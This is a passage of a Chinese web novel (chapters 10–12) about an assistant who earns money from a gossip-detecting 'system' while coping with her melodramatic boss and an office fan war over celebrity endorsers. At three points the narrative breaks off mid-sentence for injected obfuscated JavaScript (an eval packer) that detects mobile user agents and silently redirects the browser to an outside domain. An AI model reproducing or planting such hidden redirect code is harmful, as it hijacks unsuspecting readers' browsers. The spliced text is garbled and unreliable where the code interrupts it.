谭茉:……脑子有泡,狗要是能说话肯定骂你神经 煤气罐大概也感觉到了无语,湿漉漉的小鼻子一缩一缩,眼珠子漂移。 垂下的蒜皮越来越重,在众人的目光下,上演了一场“我要睡觉觉了,睡觉……”的十八流拙劣演技。 往旁边一躺,肚子上的肉肉一颤,四条小短腿一伸,睡觉了。 因为演技太过拙劣,在场的四人都有些沉默。 “煤气罐睡着了没关系。”南宫烈找回声音,看向谭茉,“谭助理,你来说。如果我和许小念分手,你觉得煤气罐应该跟谁?” 这么死亡的问题。 凌晨快三点,还要回答这种死亡问题,更加糟心。 谭茉被点名后,垂着眼皮,口中念念有词:“我要睡觉觉了,睡……” 啪唧,睡死过去。 演技比煤气罐更加让人无语。 南宫烈看向陆行简,“你不会也要睡觉了吧?” “不是。”陆行简坚定地摇头。 南宫烈露出满意的目光。 “我要晕死过去。” 南宫烈:…… 第二天,谭茉睁开眼睛醒来,映入眼帘的是陌生的天花板。 她怔了一瞬,才意识到昨晚装睡之后,真的在狗窝里睡着了。怀里热烘烘的,她低头一看,煤气罐不知道什么时候窝在她身边。 奶香奶香的大肥狗,谭茉没忍住,埋进大狗的脖子里猛吸。 真是太可爱了,谭茉露出笑意,只是在眸光放远的一瞬,笑意僵在脸上。 什么情况?陆行简也睡在同一张床上。 幸亏好,这张床够大。 谭茉莫名其妙地这么想,随后轻手轻脚地起床,脚刚放在地上,脚底板就碰到什么东西,热热的,又软又硬。 谭茉的脚跟个弹簧似地登时就抬起来,她低头一看,居然是南宫烈躺在地板上睡着了。 而和南宫烈隔着深沟一般远的地板另一侧躺着许小念,她也还睡着。 什么情况?昨晚他们四人一狗都睡狗窝? 她得快点走。 谭茉的脚刚要往空地上踩,可目光停留在南宫烈那张人见人厌,鬼见鬼愁的脸上后,她生生停下。 她刚才踩到的不会是他的大腿吧? 随后,谭茉将全身的力量灌注在脚上,若无其事地踩上了南宫烈的大腿。 10. 发疯第十天 “恭喜宿主,经过昨晚一天的奋斗,总共赚了1723592.33元。” 谭茉盯着半空中显示屏上的数字,认真地数了数,竟然有172万元之多,谁能想到两天前,她全部身家只有几百块。 原来“钱会追着你跑”是这种感觉。 穿书以前,谭茉刷到网红分享怎么赚钱,他们都会说一句‘等你有了赚大钱的能力,钱会追着你跑’。 现在她也有这种体会,竟然觉得赚钱好简单。 “宿主,你开心吗?高兴吗?有没有那种想要冲下楼买保时捷的冲动?”系统一个劲地追问,似乎能帮助到宿主赚钱,它也与有荣焉。 “没有。”谭茉笑着老实说。 她原本也以为自己会欢呼雀跃,想让所有人都知道她此刻的心情,但这一刻真到来的时候,并没有想象中的喜悦。 “大概是因为这些钱真的是我的血汗钱吧,昨晚快被南宫烈折磨死,只能说这笔钱让我还能继续忍受他,不然就一万的工资,我肯定早就离职。” 从南宫烈的别墅出来后,谭茉回到自己的出租房换身衣服,重新收拾自己。 出租房虽小,但她躺在床上却让她舒心如意。 所谓的“金窝银窝,不如自己的狗窝”,大概如此。 她看着那串数字,不禁说:“172万有多重啊,好久没用过纸钞,想玩那种电视剧里把钱丢出去,洒在身上的镜头。” “那我们现在就去银行取钱吧。”系统蠢蠢欲动。 谭茉没多想就答应了,穿上衣服准备出门,她又忽然想起,“我手机还没买,南宫烈给我的钱还在陆行简那儿,先买手机再说。” 属于她的钱放在被人那儿,谭茉始终不踏实。 至买手机,就要先搞清楚陆行简在哪儿,谭茉下意识想从口袋里摸手机,当然是什么也没摸着。 “果然现代人不能没有手机。”否则寸步难行。 “先去办公室吧。” 谭茉下了楼,老式居民楼里没什么动静,大部分人都去上班上学了。 从阴暗的楼道里钻出来,明亮的早春太阳照耀在她脸上,十分刺眼。谭茉闭上眼,耳边全是坐着晒太阳的老人的絮叨声。 “谭助理。”轻悦的男声入耳。 与老人粗浊的声音浑然不同。 谭茉唰地睁开眼,就一眼看到小区大门口站着的陆行简,一身白衬衫黑色西装裤,短发已不是昨晚乱蓬蓬的模样,早已有型熨帖地落在额前,眉目英挺清秀,十分清爽。 他歪头朝着谭茉打招呼。 ”你怎么过来了?”谭茉一路小跑过去。 “你的钱还在我手机里?你忘了?” 这怎么可能忘了?但谭茉又不好意思说还记得。 陆行简继续说:“这钱放在我这里,我有责任替你保管好,所以我问了林助理你家地址,想早点买好手机,把钱还你。这样我也不用整天想着这件事。贸贸然来你家,你应该不会怪我吧?” 他的琥珀色眼睛里流露着淡淡的笑意,人畜无害的清纯样子。 话也说得面面俱到,并没有可指摘的地方。 谭茉摇摇头:“没事。” 她一摇头,无意间就看到系统屏幕上的数字正以微弱的趋势上升。 “什么情况?” 系统:“你往后看。” 谭茉回过头,原来坐在院子里晒太阳的老太婆和老头子全都望着他们,嘴里念念有词。 “阿哟,这么帅的小姑娘,小伙子啊!跟电视里的明星一样的。” “是不是在谈恋爱?” “说话声音大一点嘛,我们年纪大,耳朵聋,什么也听不到。” 系统幽幽地说:“其实你都听见了,只是没有注意,这也算钱的。” 谭茉没想到有关自己的八卦也能赚钱。如果身边的人不是陆行简,她是很乐意站在这里让阿婆们说几句,只是陆行简尚算不太熟的同事…… 谭茉当机立断,就拉着陆行简往外走:“我们快去买手机吧。” “等一下。”出了小区的大门,陆行简按住谭茉,“我都准备好了。” 在谭茉疑惑的目光中,陆行简往前走了两步,停在一辆劳斯莱斯车旁。然后打开车门,对着谭茉做了一个‘请’的动作。 其实谭茉刚才就瞥到了这辆豪车,实在是和他们小区的身份格格不入,还心想是哪个人停在这里。 谭茉不可置信地挑眉:“不是吧?” 陆行简微笑着点头:“我朋友的电子产品新店开张,特意搞的噱头,知道我要带人来买手机,就把这次机会给我了。” “不会很贵吧?”谭茉的抠门小雷达开始启动。 又是新店又是搞噱头,感觉很贵的样子。谭茉以前不管是买什么,都要挑来挑去,选性价比最高的。 “当然不会,我都安排好了。你想要体验一把VIP服务呢,还是直接让人快递送过来?” 豪车当道,谭茉很难不心动,“我还是自己过去拿吧。” 谭茉之前蹭南宫烈的车只坐过宾利,还没坐过劳斯莱斯。而且那时候坐在宾利车上也是战战兢兢,她还是第一次如此惬意地坐在豪车上。 淡金色的香槟,流光的星光顶,舒适宽敞的车座散发着淡淡的皮革香气,谭茉高兴地让陆行简帮忙拍了几张照片,也算是小小的享受了一把有钱人的待遇。 而陆行简说的安排果然是安排得很恰当,到了新店后,很快就有工作人员接待了谭茉。 谭茉按照自己的喜好买了最大容量的原色钛金属色,并且还是正版官方的手机壳,一整套流程下来,竟然比年中大促销还要便宜一些。 最后剩余的钱,两人添加支付宝好友后,陆行简全都转给了谭茉。 看着余额数字,谭茉实在是美滋滋。 连带着对陆行简都没有了最初的敌意。 凭心而论,从到家里接她买手机这一套丝滑流程看来,陆行简把每一处细节都考虑得很周到,提前解决了谭茉所担心的问题。 思老板所思,虑老板所虑,作为新人助理,他已经交上了满分的答卷。 算了,反正她也不靠助理这份工作赚钱,谭茉忽然没了‘前浪被拍死在沙滩上’的紧迫感。 到了饭点,空气中飘荡着饭菜的香气,勾得谭茉肚子咕咕叫。想起陆行简也算是帮了她不少忙,谭茉说:“我请你吃饭。” “真的?” “但是可不可以不要超过人均一千?”谭茉一副商量的语气说,“因为我比较抠门。” 谁会正大光明地说自己抠门?陆行简实在是被她逗笑了。 他很体贴地说:“我知道附近有家性价比很高的饭馆,我们去那里可以吗?” 这还有什么问题呢? 谭茉当然欣然前往。 陆行简推荐的是一家粤菜馆,价格公道,味道鲜美。为了表达谢意,谭茉也没怎么抠门,点了一大半她自己平时下馆子不舍得点的、价格偏贵的菜。 总共八道菜。 吃到结束,还剩下一些。在谭茉刚想要打包的时候,陆行简已经叫来了服务员,请他们打包。 看他麻利自然,毫不扭捏的样子,谭茉对拥有这样的同事越来越舒心。 两人拿着餐盒,在下午下班前,打车回了公司。 回去的路上,谭茉看到了几家银行,这才想起出门前和系统说要去换现金的事。 可现在正在滴滴车上,身边还有同事,谭茉欲言又止。 “怎么了?”陆行简发觉了她的异样。 谭茉望着窗外离自己越来越远的银行,感慨地问:“陆助理,你说一百万的现金有多重?拿着又是什么感觉?“ 陆行简想了一下,很认真地说:“一张百元钞是1.15g,一百万元差不过是11.5kg,和你提着二十斤左右的大米差不多重吧。” 谭茉喃喃自语:“原来一百万和二十斤的大米差不多重量。但一百万可以买一百多吨的大米吧。” 陆行简顺着她的话说:“是这样,对于普通人来说,有一百万可以无忧无虑过段时间了。” 这大概就是南宫烈在除开和许小念吵架时候过的日子了。 有工作人员为他准备可口营养的一日三餐,有专业的助理替他工作,安排好一切,出门代步是宾利,劳斯莱斯;就连每天换洗的衣服都不用他操心。 难怪要和许小念天天吵架来自寻烦恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886102|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谭茉忽然觉得自己手里的一百七十多万很香。 不过,她还想要更香。 这短短的几个小时可以说是谭茉穿书以来最舒坦的时光,慢悠悠地坐在车上,谁也不会来催她。 她拥有一定的钱,也不必为钱烦恼。 只是美好的时光总是短暂,谭茉回到公司后又有棘手的问题等她处理。 不知什么原因,办公室竟然空无一人,给林瑜打了电话后才知道她们一群人全跑到公司楼下去看明星拍电视剧去了。 离下午上班还有十多分钟,谭茉跑去楼下咖啡馆凑了个热闹,顺便买杯咖啡。 广场空地上,已经围了不少路人群众,剧组工作人员扯着嗓子驱散。谭茉点了单后就跑去翁美德和林瑜身边。 她们所在的咖啡馆真是占据了天时地利人和,落地窗正好对着拍摄镜头,可以看得很清楚。谭茉扫了一眼,问:“哪个明星啊?还没有来还是已经拍完了。” “胡嘉煜,你知道吗?”翁美德回答。 这还真知道,昨晚刚被科普。 “刚刚剧组好像还在布置,还没开始拍。不知道我们还能不能看得上。”翁美德继续说。 “看他们拍完再上去办公也可以吧,南宫总裁下午应该不会来上班吧?” 几个同事把期盼的目光投向谭茉,看到谭茉摇了摇头后,都激动了。老板不来上班和放假有什么区别。 谭茉盯着窗外问:“这胡嘉煜到底长什么模样?我就听过他名字。” “你居然不知道?”翁美德有些惊讶,不过很快她就说道,“上个礼拜你没来公司,不知道也正常。” “我们公司要请代言人,这胡嘉煜就是考察对象之一,最后大家做了背调,范围就定在胡嘉煜和丁槐两个候选人身上。” 翁美德一边说,一边给谭茉投送资料,“你给老板,让他最后定一下。” 谭茉点开后,粗略地扫了一遍。这胡嘉煜和丁槐是两款定位不同的当红艺人,但性价比都差不多。随后她转手就把资料给了南宫烈。 与此同时,广场那边也有了新动静。两位流量明星到场,咖啡馆仿佛掀起阵阵热浪,谭茉被尖叫声刺激得耳朵生疼,只好林瑜身边靠近。 她周围只有林瑜尚且还能保持安静和理智。 谭茉捂着耳朵说:“不就一个明星吗?这么疯狂。” 林瑜笑得很淡:“我都习惯了。” “你经常能看到明星?” 林瑜顿了顿,说:“我朋友经常带我去追星。” 整个拍摄过程就持续了二十多分钟,随着两位流量明星的离场,观众也像是潮水般散去。 谭茉跟在翁美德身后,上楼。 “没想到胡嘉煜真人比电视上帅这么多,果然明星再怎么难看,到了现实生活中就是比普通人好看。” “大家都好疯狂,我耳朵都快被震聋了。” “要是我们公司能选胡嘉煜做代言人就好了,这样我们还能再看一次。” 翁美德心随意动,戳了戳谭茉,一脸期待地问:“老板回复了吗?到底选谁?” 真是好巧不巧,南宫烈这时候给谭茉发了消息过来。 谭茉看完后说:“老板让我随便挑一个。” “啊!!!快选胡嘉煜啊!!还等什么!!” “就是,谭茉,快选他,让我去和他经纪人沟通,真是帅死了。” “或许,也可以pick一下我们丁槐?这个小伙子也很帅,入股不亏哦。” “没想到我们公司还有丁槐党?” “不少哦。我们丁槐可比胡嘉煜帅多了。” “啊!你的眼光真的好差。丁槐长得跟猴一样,怎么好意思说比胡嘉煜帅的。” “我眼光再不好,总不至于喜欢内娱九漏鱼吧。” 场面十分混乱,原本客客气气的同事说话夹枪带棒,吸引不少吃瓜群众看热闹,谭茉仿佛置身于娱乐圈粉丝混战中。 她刚想劝架,系统爬上来提醒她:“等一下,你先看一眼屏幕再决定。” 不提醒还好,一提醒谭茉的心脏都快跳出来了。 妈呀!这么一伙儿功夫,她已经赚了五十多万了! 11. 发疯第十一天 竟然比和南宫烈这个癫公在一起都赚得多。 谭茉十分疑惑,“这是怎么回事?不是说南宫烈才是这本书的八卦源泉吗?” “难道说南宫烈来上班了?”谭茉紧张地东张西望,“可是不对啊,刚才我们也没有讨论他,我的钱怎么还会涨这么快。” 很显然系统比谭茉还要懵:“我不知道,刚才我忽然检测出了除南宫烈之外的八卦源泉。” “谁啊?” “胡嘉煜。” “明星也算啊。” 系统没有立即回答,它检测了一番后才说:“这个世界好像和《独宠旧爱:巨星的惹火初恋》这本书融合了,胡嘉煜就是这本书的男主角。所以刚才你听粉丝吵架也算是参与其中,有钱赚。” 谭茉忽然想到了一个发财大计:“那我当什么助理,我直接在网上当营销号得了。” “这个不行,不在规范之内。你忘了,你能赚到的吃瓜钱是因为你在现场,且你见过当事人。” “所以是我中午的时候见过胡嘉煜,才能赚到他的钱?” “就是这样。”系统不是很确定,它着急地说,“看你要不要赚钱吧,如果你不想赚这个钱就当和事佬,让粉丝别吵了。如果你想赚钱,那就……先不说了,我还有急事,先下线。” 谭茉都还来不及追问,系统就着急下线。 至于赚钱,她肯定是要赚的。 怪不得人人都想进娱乐圈了,就连营销号也很挣钱。 谭茉想当一把无良的营销号,但考虑到这些粉丝都是自己的同事,倒也不必做得太绝。 “收。”谭茉挤到两队粉丝中,“既然你们吵个不停,我也不好擅自选谁做代言人。这样吧,我们就来个辩论赛,为自己喜欢的明星拉票,到时候我们投票,谁的票数多谁就是代言人。 “一言为定。” 谁也没有想到,原本应该死气沉沉的上班族竟然为了各自喜欢的明星打起了擂台,各个摩拳擦掌,跃跃欲试。 “这么多钱的代言费,一定要替哥哥争取到!” “就是!” 丁槐粉丝最先拉票:“我们家哥哥成熟稳重,内娱少有的P大高材生毕业,高逼格电影出道,有学识有礼貌,美貌战绩可查,未来影帝,前途无量。” 胡嘉煜粉丝:“丁槐粉丝就是用实际行动证明什么叫语言的艺术。P大高材生毕业,其实是p大底下挂名的三本院校,专业是被调剂的。高逼格电影出道,其实就是个网络大电影,还不是主角。成熟稳重,其实是今年31岁,去年拍了部偶像剧才火的。” “都31岁了还不成熟稳重,是想要重拾放荡不羁的青春吗?美貌战绩不可查,未来影帝一片渺茫。大葱插鼻孔,挺装象。” 没想到胡嘉煜粉丝说话跟说相声似的,一愣一愣,还挺押韵。 谭茉听得嘴角都没合拢过,再拿出手机,看到支付宝上的余额大幅度的增加,她好想火上浇油,让她们吵得更激烈点。 营销号,太挣钱了。 胡嘉煜粉丝再接再厉:“还不如看看我们胡嘉煜宝贝,两年前选秀节目一炮而红,至今也才23岁,各个平台数据top5,年初还火了一部剧,演唱跳三栖明星,样样精通。” 丁槐粉丝:“你们胡嘉煜粉丝还真是谦虚谨慎能藏拙啊,各个平台数据top5都说出来了,怎么不说说他内娱九漏鱼top1的事情。‘繁花似锦’就会写个花,戛然而止读成嘎然而止。” “你们家哥哥是个鸭子吗?嘎嘎嘎的。” 胡嘉煜粉丝:“那又怎么样?你本科毕业还不是苦哈哈地替人打工,有他赚得多吗?。” 丁槐粉丝:“不妨碍他小学学历。” 胡嘉煜粉丝:“有些人虽然本科学历,但见识和没读过书的人一样。” 丁槐粉丝:“不妨碍他小学学历。” “你小学鸡啊,只会这么一句是吧?” 丁槐粉丝稳如泰山:“那怎么了?妨碍他小学学历了吗?” 谭茉实在是憋不住,笑出声来。她算是看明白了,不管胡嘉煜粉丝说什么,丁槐粉丝就跟个人机一样,“不妨碍他小学学历。” “有这么好笑吗?”陆行简递了张纸巾给谭茉。 辩论赛开始的时候,他就从总裁办出来看热闹。 谭茉的眼泪都笑出来了,就算是穿书之前,也没见过这么搞笑的事情。 她用纸巾擦着眼角,点点头。 两方的战况越来越激烈,为了不影响同事间的关系,谭茉见好就收。 “好了好了,已经四十多分钟了,今天的辩论赛到此为止,相信在场其他人都深刻地了解了丁槐和胡嘉煜两人。” “能不了解吗?我感觉听完了之后丁槐和胡嘉煜穿什么底裤都知道了。”场下非两家粉丝的吃瓜群众起哄道。 谭茉把提前准备好的纸条传下去,“既然如此,大家投票吧,写上支持的明星,匿名投票。” 大部分人很快写上名字,谭茉左右看了看,发现翁美德已经从对胡嘉煜的疯狂状态中渐渐冷却,在纸条上写下了丁槐的名字。 “不是吧,美德姐,你这么快就不喜欢胡嘉煜了?” 翁美德撇撇嘴,“那也总比让人知道我喜欢一个小学学历的男人强吧。” 行吧。 谭茉又转到了林瑜这,“林瑜,你这么喜欢胡嘉煜啊。” 林瑜面色如常,“我只是觉得拿学历攻击别人很傲慢,不想选另一个罢了。” 好吧。 谭茉走到陆行简身边,想要偷看,却见到纸条上空空如也。 “你怎么还不写?” 陆行简举棋不定,“还没想好,你呢?你选谁?” “我一个都不想选,弃权。” 陆行简正想问她为什么,林瑜就凑上来:“陆助理,你写胡嘉煜的名字吧。好不好?” 半个小时后,唱完票,只有两张是弃权票。胡嘉煜以微弱的一分之差的劣势输给了丁槐。 吃瓜群众:“幸亏好,这个世界还没有疯到让小学生当道。” 结果出来后,一家欢喜一家忧。但更多的还是因为没有老板来上班而拥有自由自在的时光感到开心。 “要是天天有辩论赛就好了,好像回到大学。” “这对我太奢侈,我只要老板天天待在家里就行。” 谭茉直截了当地把辩论赛的结果在微信上告诉南宫烈,她没有说经过,只说经过大家慎而慎之的调查和讨论,才选定了丁槐这个候选人。 南宫烈很快就回复了:选胡嘉煜。 谭茉:???脑子有病。 一口老血差点喷出来,她倒是想问问南宫烈原因。 明明说是让他们随便选,在他们认真选了之后,居然和他们唱反调。 这不是脑子有病是什么? 正当谭茉的手指在键盘上奋笔疾书的时候,她接到了凤娟姨的电话。 凤娟姨撕心裂肺地哭喊:“谭茉啊,你快来别墅把南宫烈带走吧。我们实在是受不了了,刚才南宫烈知道许小姐喜欢丁什么槐,又吵起来了。” 谭茉:…… 果然,南宫烈不来上班这件事,也是几家欢喜几家忧。 至于让她现在就去别墅,谭茉看了眼自己账户里5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14886103|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 26万的余额,再一想到昨晚的非人待遇,就客气礼貌地拒绝了凤娟姨的建议。 现在这个钱她哪里都能赚,不想这么快又去南宫烈那里吃苦头。 直到过了两天,由于工作上的原因,谭茉不得已去了一趟。 临走前,她在总裁办问有没有人愿意和她一起去。 目光首先望向林瑜,林瑜的脑袋摇得跟个拨浪鼓一样:“我不去,我不想升职加班,也不想被虐待。” “倒也没有这么恐怖……”谭茉心虚地说。 然后目光又默默移向另一边,陆行简站起来,“我和你一起。” “好!” 虽然谭茉嘴上说南宫烈的别墅没有那么恐怖,但让她一个人去,她也有点头大。有了陆行简壮胆后,她底气更足了。 “你为什么同意要去?”谭茉走在前面问,她手中的东西全被陆行简拿走了。 其实对于刚入职的新人来说,陆行简不愿意去南宫烈家里,谭茉倒也不会觉得他如何。 “因为跟着谭助理工作很有意思啊。”此刻的陆行简拎着大包小包要拿给南宫烈看的文件,任劳任怨地跟在后面,笑容又甜又阳光,露出一口白牙。 谭茉看了心里甜津津的,终于理解了为什么大直男都喜欢甜妹。 男生甜起来,她也喜欢。 行行行,这个新人她罩着了。 反正她也担着陆行简名义上的师父,谭茉很有一股母鸡护崽的气势,笑着说:“等会儿去了别墅,你还是听我安排,不要冲在前面。” 下午两点,凤娟姨终于盼星星盼月亮地把谭茉盼回来了。 “你总算来了,”凤娟姨见到谭茉刚进屋里,激动地拉住她的手,“你看看你我这两天被折磨得,人都憔悴了不少。” 正欲大声哭诉,又见到陆行简从屋外转进来,立马止住哭嚎声,“也没有太憔悴啦,四十八的年纪还是一朵花。” 她的声音变得又柔又娇,文文气气地和陆行简打招呼:“又见到你了,陆助理。” 陆行简站在谭茉身后,礼貌地点头。 凤娟姨心旌摇曳,轻声嘀咕:“真是太帅了,要是南宫烈换成他该有多好。” 谭茉没有听见,环顾四周:“老板呢?许小姐呢?” “不知道啊,许小姐好想出去了。” 既然如此,谭茉吩咐:“快点把文件放到书房,我们就走。” 除了给南宫烈带文件,谭茉来别墅也存着赚钱的心思,毕竟已经尝到了甜头,她现在很有动力。 但她的目标还是放在许小念身上,关于南宫烈,躲得越远越好。 毕竟南宫烈比许小念疯多了。 谭茉和陆行简快步冲上楼,还没踩上几个台阶,就听到头顶上幽幽冒出的低沉声:“谭助理……” 谭茉后背起了鸡皮疙瘩,一阵冰凉,她抬头,果然看见南宫烈站在二楼楼梯上。他直起的身子遮挡住了许多亮度,暗光仿佛渡到了谭茉脚边。 凤娟姨心颤,很没用义气地丢下谭茉他们就跑了。 南宫烈的目光从凤娟姨的背影重新放回到谭茉身上,“你们跑这么急干什么?” “因为想早点把文件给你。” 谭茉露出比哭还难看的笑,随后和陆行简轻手轻脚地上楼。路过南宫烈身边的时候,似乎听到他一句冷哼。 放下文件后,谭茉从书房出来,‘如果没事的话,我们就先走了’这句话在她肚子里来回过了几遍,正要开口说的时候,谭茉忽然听到久违的系统声。 “现在颁布系统任务,请宿主对南宫烈说出‘女人,自己挑起来的火,自己灭。’ 12. 发疯第十二天 谭茉如遭雷击,愣在当场。 啊啊啊啊啊啊!我不干净了!到底是谁会说这种羞耻的话啊,你们系统是不是有毛病? “我和南宫烈只是上下级的老板员工关系,我不是女主也不是女配,只是个打工妹!” “哪个正经打工妹会对老板说这种话。” “是想要风流老板俏秘书吗?” “我不想当老板娘。” “啊啊啊啊啊!苍天啊,劈了我吧。” 谭茉劈头盖脸地输出,让系统招架不住。 她愣在当场的时间过长,陆行简扯了扯她的衣袖都没有用。 这样下去,势必会被南宫烈注意到。 就在陆行简疑惑慌乱的时候,南宫烈果然看了过来,他见着谭茉怪异的行为,不由皱起了眉。 “谭助理,要不留下来。” 南宫烈出声,让谭茉回了神;“不……不太好吧。” “我正好也有事情要问你,进来吧。”他没有给谭茉拒绝的权力,率先踏进了书房。 南宫烈不像前两回疯疯癫的样子,反而透着股深不可测的沉稳,他好像反常得有点正常了。 “还不如疯了呢。”谭茉嘀咕。 南宫烈疯起来,她还能凭着一腔打工人的怨气揍他一顿。可现在这么正常,看上去怪瘆人的,总觉得没憋什么好屁。 谭茉和陆行简可怜兮兮地四目相对,随后两根小苦瓜沉默地走进了书房。 书房里,南宫烈背对他们倒着酒,他听到动静,头也不回:“坐吧。” 温和的语气,听上去好恐怖。 两根小苦瓜坐在沙发上后,垮着脸,等待着死讯。 南宫烈转身,自斟自酌地慢慢走过来。空气中飘荡着甜甜的酒香,谭茉的目光随着猩红的液体移动,闻上去确实是好酒,她有点心动。 “谭助理,你谈过恋爱吗?” 谭茉:? 陆行简:? 这听上去不太像是死讯,谭茉有些搞不清楚状况地摇摇头。 “陆助理呢?” 陆行简也摇摇头。 南宫烈嘶地一声,似乎觉得这件事很难办。 谭茉很会察言观色,忙道:“没吃过猪肉还没见过猪跑吗?我虽然没谈过,但我很懂啊!有什么事你说!” “就是我有个朋友……” 南宫烈刚艰涩地说出几个字,就被谭茉不耐地打断,“斯到普,斯到普。” “他,常春藤毕业。”谭茉指了指陆行简,又指了指自己,“我也是top10的985院校毕业,请你尊重一下我们的智商。” “你能不能别说我有个朋友,直接说你和许小姐,真诚一点。” 陆行简煞有其事地跟着点头,像个小跟班。 被谭茉一针见血地戳穿,原本打好的草稿全都没了用武之地,南宫烈有些窘迫。。 谭茉算是看明白了,深沉只是南宫烈的外表伪装,他的内里还是个傻憨憨。他这是按照古早言情小说的套路,找人当他爱情的狗头军师。 还不好意思说。 谭茉放松了不少,“你也很苦恼这两天你和许小姐冷战吧,这事我能帮你。” 南宫烈的眼睛登时亮了起来。 “你喝的82年的雪碧,不拉菲,给我倒杯来喝喝。”谭茉颐指气使,“对了,也给我徒弟倒一杯。” 陆行简:“倒一杯~” 南宫烈心里怪怪的,到底谁才是老板?但双手双脚快于脑子,转身去拿。 一大口红酒下肚,甜柔的果香充盈口腔,谭茉心想南宫烈的小日子过得果然是滋润,再一想到他这样的好日子自己也出了一份力,不由得又猛喝了一大口。 随后,指着南宫烈说:“你们这次吵架冷战的原因还真出在你身上,知道吗?” 南宫烈一脸无辜,谭茉就知道这个霸总还真是直男,这么多天居然连自己错在哪里都不知道。 许小念究竟喜欢他什么? “阿倩,你不记得那天你对许小念说阿倩是你生命中最重要的人吗?” 那个青梅竹马白月光,那个恶毒女配,江清雅! 南宫烈陷入沉思,这仿佛是个已经被他遗忘的细枝末节,过了好久才想起来,“你说就是我开车带着小念经过我母校时候说的?” “对啊!” “嗐!”南宫烈懊恼,“我不是在叫她的名字。” “那是?” “我打的喷嚏。” 谭茉不理解地皱眉,南宫烈开始唱歌,“阿门,阿前,一棵葡萄树……” 谭茉讶然地挑眉,南宫烈有些羞愧地挪开目光。 “你的脑子是不是有病?”谭茉真诚地指了指南宫烈的脑袋,“你为什么对小念说这是江清雅的小名?“ “因为我不能在另一半面前打喷嚏,打嗝,擤鼻涕,我得保持形象啊。” 谭茉:……我怎么就忘了你是strong哥这件事呢。 陆行简问:“那如果你和许小姐在一起的时候,想要放屁怎么办?” 南宫烈理所当然:“找厕所。” 谭茉:……还真是体面人。 谭茉其实挺能理解在喜欢的人面前,尽可能保持良好的形象,但南宫烈极端到这种程度的逼王也是少有。 她摇头晃脑又喝完了杯子里的酒。 “没想到我和小念的症结在此,那你说我现在该怎么挽回她?”南宫烈简直把谭茉当成了救命稻草。 谭茉装腔作势地拿乔,摇晃红酒瓶,腼腆一笑:“没了。” 南宫烈秒懂,虽然心里抱怨她如老牛饮水一般把他珍藏的好酒糟蹋了,但还是听话地转身去拿酒。 陆行简惊讶于谭茉的酒量,稍一个错眼,她一个人就干完了大半瓶红酒。 谭茉的脸颊从内而外的红润润,陆行简刚想问她有没有事,谭茉看了他一眼,仿佛知道他心中所想,变戏法似地凑到他前面,笑着说:“我没事,放心,我还能护着你。” 护着他? 陆行简微微扬起眉,眼前人的眼睛不知什么原由,忽地眸光暗淡,随后又噌地发亮,仿佛前面有座金山银山。 几经转变,最后纠结又羞耻地对他说:“等会儿无论我做什么你都不要惊讶,那是师父我带你入门的第一课。” “什么?” “屎难吃,钱难赚。” 谭茉其实也不想这样的,谁让南宫烈转身取酒的时候,刚才被打断的系统又上线:“现在就是好时机,你快对南宫烈说出那句话。” 谭茉微醺的漂浮感被吓得退散:“我不要,拒绝。” “你不能拒绝我,这是任务。”系统说,“而且是有奖励的。” “多少?” “五十万。” “切。”手里拿着五百多万的谭茉已经看不上这点小钱了。 “两百万。” 谭茉动心了,然后开始PUA自己,给自己洗脑。 如果对象不是南宫烈,其实谭茉也未必会屈服于金钱,主要是还是觉得‘女人,自己挑起来的火,自己灭’太过油腻,一般人肯定受不了。 但南宫烈和许小念不是一般人,后者似乎还挺吃前者这一套。 “酒我拿来了,你快点说。”省得又把我的好酒糟蹋了,南宫烈走过来的时候心想。 “不就是哄人,你看着,我教你。她要是再闹——” 只见谭茉坐在沙发椅上,翘着二郎腿,小脑袋往上仰,露出尖尖的下巴。 她看了南宫烈一会儿,想了想,这个屎实在是太难吃了。 于是索性偏了偏身子,看向陆行简。 她微眯着眼睛,故意沉着嗓子说:“男人,自己惹起来的火,自己灭。” 十几分钟后,谭茉平静且冷漠地从书房里出来。 “谭助理,你刚才好…….” 谭茉及时抬手捂住陆行简的嘴,“好了,过去的事情就让它过去吧。” 往事不可追也,反正这辈子她都不可能会再回忆十几分钟之前说完那句让她掉节操的话后,全场的沉默瞬间,也不会听任何人的评价。 就当她死了吧。 随后,转身就走。 “……好酷啊。”就和刚才说那句话一样酷。留在原地的陆行简这样想。 明明知道‘屎难吃,钱难赚’,但还是义无反顾地去做这件事,还真是打工牛马人的典范。 可仔细观察,就会发现谭茉的耳朵尖绯红得快要滴血。 此刻她的心里有一只撒泼的猴子在疯狂的尖叫,荡来荡去,捶胸顿足! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14886104|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼的书房窗口站着南宫烈,他斜倚在墙上,幽幽看着谭茉和陆行简远去。 